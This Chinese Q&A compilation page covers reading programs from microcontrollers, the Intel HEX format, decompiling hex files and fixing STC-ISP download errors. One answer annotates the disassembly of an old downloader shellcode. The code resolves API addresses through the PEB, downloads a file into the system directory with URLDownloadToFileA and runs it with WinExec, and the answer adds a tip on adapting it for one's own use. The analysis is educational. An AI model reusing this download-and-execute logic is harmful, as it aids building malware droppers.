如何打开hex文件从单片机里读程序

如何打开hex文件从单片机里读程序,第1张

如果单片机没加密的话可以从里面读到二进制程序,一般是用编程器,有些单片机支持下载线的用下载线也可以

修改改程序比较难,首先你得到二进制程序,然后反汇编,再修改汇编程序,再编译

这个比较难,如果单片机加密就几乎没办法了,并且得到程序你还要看懂,知道怎么改

HEX文件与BIN文件从使用上没区别,最终表示的都是二进制的数据块,只是HEX文件是ASCII码的(可用记事打开)并且有校验,BIN就是二进制的数据块,这两种文件都是没有密码的,打开他们不成问题

文件有两种,一种是文本文件,一种是程序二进制文件,不管哪种文件都可以用十六进制编码来显示,称为hex文件。

1、文本Hex文件一般不需要转成C语言,更多的是程序二进制文件,用十六进制显示,可以转换成C语言,一般使用相应的反汇编程序来实现,这方面的工具很多,不同的平台略有不同。Windows平台一般常用的OllyDbg、Windbg、IDA,Linux平台使用最多的是GDB和Linux版的IDA。

OllyDbg,简称OD,一般是软件逆向工程爱好者,最先使用的一个工具,但是因为当下不在更新,所以一般用一般用于学习使用,下图中左上角的区域即为反汇编区域 ,用户可以根据汇编指令,分析程序算法,然后自己编写代码。

在Windows平台,特别是x64平台,最好用的反汇编工具除还得是Windbg。将程序载入Windbg后,可以输入u命令来查看程序的反汇编代码。

2、对于编程人员来说,逆向分析是一个基本的技能,但是往往不容易入门,这里举一个例子。以一段早些年ShellCode的十六进制代码为例,代码如下图所示,这段不起眼的代码,实际上实现了一个下载者的功能。

拿到这样的十六进制代码,一般来说,先将其生成二进制文件,然后再分析其指令,通过反汇编指令再写出源码。只需要将上面的十六进制代码,保存到C语言的字符串数组中,写入到一个Exe的文件空段中,再修改指令将其跳转到程序入口处即可,这个过程类似于软件安全领域的壳。

将十六进制代码写入一个exe文件后,就可以将exe文件载入动态调试器进行动态分析或者使用静态反汇编程序进行静态分析,两者的不同在于动态调试器是要运行程序的,而静态反汇编分析不需要运行程序,所以一般恶意程序,都采用静态分析。反汇编开头的一段十六进制代码注释如下:

4AD75021    5A                     pop     edx                                           ; 函数返回的地址保存到edx中

4AD75022    64:A1 30000000         mov     eax, dword ptr fs:[30]                        ; 取peb

4AD75028    8B40 0C                mov     eax, dword ptr [eax+C]                        ; peb_link

4AD7502B    8B70 1C                mov     esi, dword ptr [eax+1C]                       ; 初始化列表到esi

4AD7502E    AD                     lods    dword ptr [esi]                               ; [esi]->eax + 8的位置即kernel32dll的地址

4AD7502F    8B40 08                mov     eax, dword ptr [eax+8]                        ; eax=kernel32dll的地址

4AD75032    8BD8                   mov     ebx, eax                                      ; ebx=kernel32dll的基址

4AD75034    8B73 3C                mov     esi, dword ptr [ebx+3C]                       ; esi = pe头偏移

4AD75037    8B741E 78              mov     esi, dword ptr [esi+ebx+78]                   ; esi为kernel32dll导出表的偏移

4AD7503B    03F3                   add     esi, ebx                                      ; esi = kernel32dll导出表的虚拟地址

4AD7503D    8B7E 20                mov     edi, dword ptr [esi+20]                       ; edi=ent的偏移地址

4AD75040    03FB                   add     edi, ebx                                      ; edi = ent的虚拟地址

4AD75042    8B4E 14                mov     ecx, dword ptr [esi+14]                       ; ecx = kernel32dll导出地址的个数

4AD75045    33ED                   xor     ebp, ebp                                      ; ebp=0

4AD75047    56                     push    esi                                           ; 保存导出表虚拟地址

4AD75048    57                     push    edi                                           ; 保存ent虚拟地址

4AD75049    51                     push    ecx                                           ; 保存计数

4AD7504A    8B3F                   mov     edi, dword ptr [edi]

4AD7504C    03FB                   add     edi, ebx                                      ; 定位ent中的函数名

4AD7504E    8BF2                   mov     esi, edx                                      ; esi为 要查询的函数GetProcAddress即该call的下一个地址是数据

4AD75050    6A 0E                  push    0E                                            ; 0xe0是GetProcAddress函数的字符个数

4AD75052    59                     pop     ecx                                           ; 设置循环次数为 0xe

4AD75053    F3:A6                  repe    cmps byte ptr es:[edi], byte ptr [esi]        ; ecx!=0&&zf=1 ecx=ecx-1 cmps判断 GetProcAddress

4AD75055    74 08                  je      short 4AD7505F                                ; 如果ENT中的函数名为GetProcAddress跳走

4AD75057    59                     pop     ecx                                           ; 不相等则将导出地址数出栈

4AD75058    5F                     pop     edi                                           ; ent虚拟地址出栈

4AD75059    83C7 04                add     edi, 4                                        ; edi地址递增4字节 因为ENT的元素大小为4字节

4AD7505C    45                     inc     ebp                                           ; ebp用于保存ent中定位到GetProcAddress函数时的计数

4AD7505D  ^ E2 E9                  loopd   short 4AD75048                                ; 循环查询

4AD7505F    59                     pop     ecx

4AD75060    5F                     pop     edi

4AD75061    5E                     pop     esi

4AD75062    8BCD                   mov     ecx, ebp                                      ; 计数保存于ecx

4AD75064    8B46 24                mov     eax, dword ptr [esi+24]                       ; esi+0x24 Ordinal序号表偏移地址

4AD75067    03C3                   add     eax, ebx                                      ; ordinal序号表的虚拟地址

4AD75069    D1E1                   shl     ecx, 1                                        ; ecx逻辑增加2倍  因为ordinal序号是WOR类型下面是通过add 来求ordinal所以这里必须扩大2倍

4AD7506B    03C1                   add     eax, ecx

4AD7506D    33C9                   xor     ecx, ecx                                      ; ecx=0

4AD7506F    66:8B08                mov     cx, word ptr [eax]                            ; 保存取出的ordinal序号

4AD75072    8B46 1C                mov     eax, dword ptr [esi+1C]                       ; eax 为kenrnel32dll的EAT的偏移地址

4AD75075 >  03C3                   add     eax, ebx                                      ; eax = kernel32dll的eat虚拟地址

4AD75077    C1E1 02                shl     ecx, 2                                        ; 同上,扩大4倍因为eat中元素为DWORD值

4AD7507A    03C1                   add     eax, ecx

4AD7507C    8B00                   mov     eax, dword ptr [eax]                          ; eax即为GetProcAddress函数的地址 相对虚拟地址,EAT中保存的RVA

4AD7507E    03C3                   add     eax, ebx                                      ; 与基址相加求得GetProcAddress函数的虚拟地址

4AD75080    8BFA                   mov     edi, edx                                      ; GetProcAddress字符到edi

4AD75082    8BF7                   mov     esi, edi                                      ; esi保存GetProcAddress地址

4AD75084    83C6 0E                add     esi, 0E                                       ; esi指向GetProcAddress字符串的末地址

4AD75087    8BD0                   mov     edx, eax                                      ; edx为GetProcAddress的地址

4AD75089    6A 04                  push    4

4AD7508B    59                     pop     ecx                                           ; ecx=4

有经验的程序员, 通过分析即明白上面反汇编代码的主要目的就是获取GetProcAddress函数的地址。继续看反汇编代码:

4AD7508C    E8 50000000            call    4AD750E1                                      ; 设置IAT 得到4个函数的地址

4AD75091    83C6 0D                add     esi, 0D                                       ; 从这里开始实现ShellCode的真正功能

4AD75094    52                     push    edx

4AD75095    56                     push    esi                                           ; urlmon

4AD75096    FF57 FC                call    dword ptr [edi-4]                             ; 调用LoadLibrarA来加载urlmondll

4AD75099    5A                     pop     edx                                           ; edx = GetProcAddress的地址

4AD7509A    8BD8                   mov     ebx, eax

4AD7509C    6A 01                  push    1

4AD7509E    59                     pop     ecx

4AD7509F    E8 3D000000            call    4AD750E1                                      ; 再次设置 IAT 得到URLDownLoadToFileA

4AD750A4    83C6 13                add     esi, 13                                       ; esi指向URLDownLoadToFileA的末地址

4AD750A7    56                     push    esi

4AD750A8    46                     inc     esi

4AD750A9    803E 80                cmp     byte ptr [esi], 80                            ; 判断esi是否为0x80 这里在原码中有0x80如果要自己用,应该加上一个字节用于表示程序结束

4AD750AC  ^ 75 FA                  jnz     short 4AD750A8                                ; 跨过这个跳转,需要在OD中CTRL+E修改数据为0x80

4AD750AE    8036 80                xor     byte ptr [esi], 80

4AD750B1    5E                     pop     esi

4AD750B2    83EC 20                sub     esp, 20                                       ; 开辟 32 byte栈空间

4AD750B5 >  8BDC                   mov     ebx, esp                                      ; ebx为栈区的指针

4AD750B7    6A 20                  push    20

4AD750B9    53                     push    ebx

4AD750BA    FF57 EC                call    dword ptr [edi-14]                            ; 调用GetSystemDirectoryA得到系统目录

4AD750BD    C70403 5C612E65        mov     dword ptr [ebx+eax], 652E615C                 ; ebx+0x13 系统路径占 0x13个字节

4AD750C4    C74403 04 78650000     mov     dword ptr [ebx+eax+4], 6578                   ; 拼接下载后的文件路径%systemroot%\system32\aexe

4AD750CC    33C0                   xor     eax, eax

4AD750CE    50                     push    eax

4AD750CF    50                     push    eax

4AD750D0    53                     push    ebx

4AD750D1    56                     push    esi

4AD750D2    50                     push    eax

4AD750D3 >  FF57 FC                call    dword ptr [edi-4]                             ; URLDownLoadToFile下载文件为aexe

4AD750D6    8BDC                   mov     ebx, esp

4AD750D8    50                     push    eax

4AD750D9    53                     push    ebx

4AD750DA    FF57 F0                call    dword ptr [edi-10]                            ; WinExec执行代码

4AD750DD    50                     push    eax

4AD750DE    FF57 F4                call    dword ptr [edi-C]                             ; ExitThread退出线程

接下来的 *** 作便是通过已获得地址的GetProcAddress()来分别得到GetSystemDirectory()、URLDownLoadToFile()、WinExec()及ExitProcess()函数的地址,并依次执行。到这里实际上有经验的程序员,马上就能写出C语言代码来。 后面的数据区不在分析了,主要是介绍如何 *** 作。

使用C语言,虽然知道了Hex文件的大致流程,但是一般来说,对于汇编指令,更倾向于直接使用asm关键字来使用内联汇编。如下图所示:

通过这个实例 ,相信应该能理解一个大致的流程啦。

这个问题我也碰到过,最后检查下来出的问题是USB转串口的驱动有问题,我的是win7,虽然从网上下了一个win7下的PL2303的驱动,USB插上去也有提示,但程序就是烧不进去,到“仍在连接中, 请给 MCU 上电”这句话就没反应了,后来装了开发板带的光盘里的新的PL2303的驱动,就可以用了,你先看看是不是这个问题

STC 单片机出现不能正常下载:

1、usb转串口驱动是否正确。从设备管理器中可以看到虚拟的com口,端口号一般

为com3 或者com4(当然这个com口可以在设备管理器改的),下载软件必须设置相应的端口。

2、请先关掉电源,点击下载,稍等片刻打开电源。这个下载顺序严格遵守。也就是冷启动。

hex文件格式是可以烧写到单片机中,被单片机执行的一种文件格式。

生成Hex文件的方式有很多种,可以通过不同的编译器将C程序或者汇编程序编译生成hex。Hex文件如果用特殊的程序来查看(一般记事本就可以实现)。打开后可发现,整个文件以行为单位,每行以冒号开头,内容全部为16进制码(以ASCII码形式显示)。

Intel HEX文件由一行行符合Intel HEX文件格式的文本所构成的ASCII文本文件。在Intel HEX文件中,每一行包含一个HEX记录。这些记录由对应机器语言码和常量数据的十六进制编码数字组成。

扩展资料:

一个Intel HEX文件必须有一个文件结束记录,这个记录的类型域必须是01,Intel hex 文件常用来保存单片机或其他处理器的目标程序代码。它保存物理程序存储区中的目标代码映象。一般的编程器都支持这种格式。

Intel hex 文件记录中的数字都是16进制格式,两个16进制数字代表一个字节。CC域是数据域中的实际字节数,地址、记录类型和校验和域没有计算在内。校验和是取记录中从数据字节计数域CC到数据域最后一个字节的所有字节总和的 2 的补码。

参考资料来源:百度百科——hex文件格式

以上就是关于如何打开hex文件/从单片机里读程序全部的内容,包括:如何打开hex文件/从单片机里读程序、谁能帮我把一个hex文件反编译为c语言文件、求解 STC-ISP 连接不上问题 连接单片机 烧写 .hex 程序是发生错误 求详解 解决给分啦等相关内容解答,如果想了解更多相关内容,可以关注我们,你们的支持是我们更新的动力!

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/zz/9510122.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2023-04-29
下一篇 2023-04-29

发表评论

登录后才能评论

评论列表(0条)

保存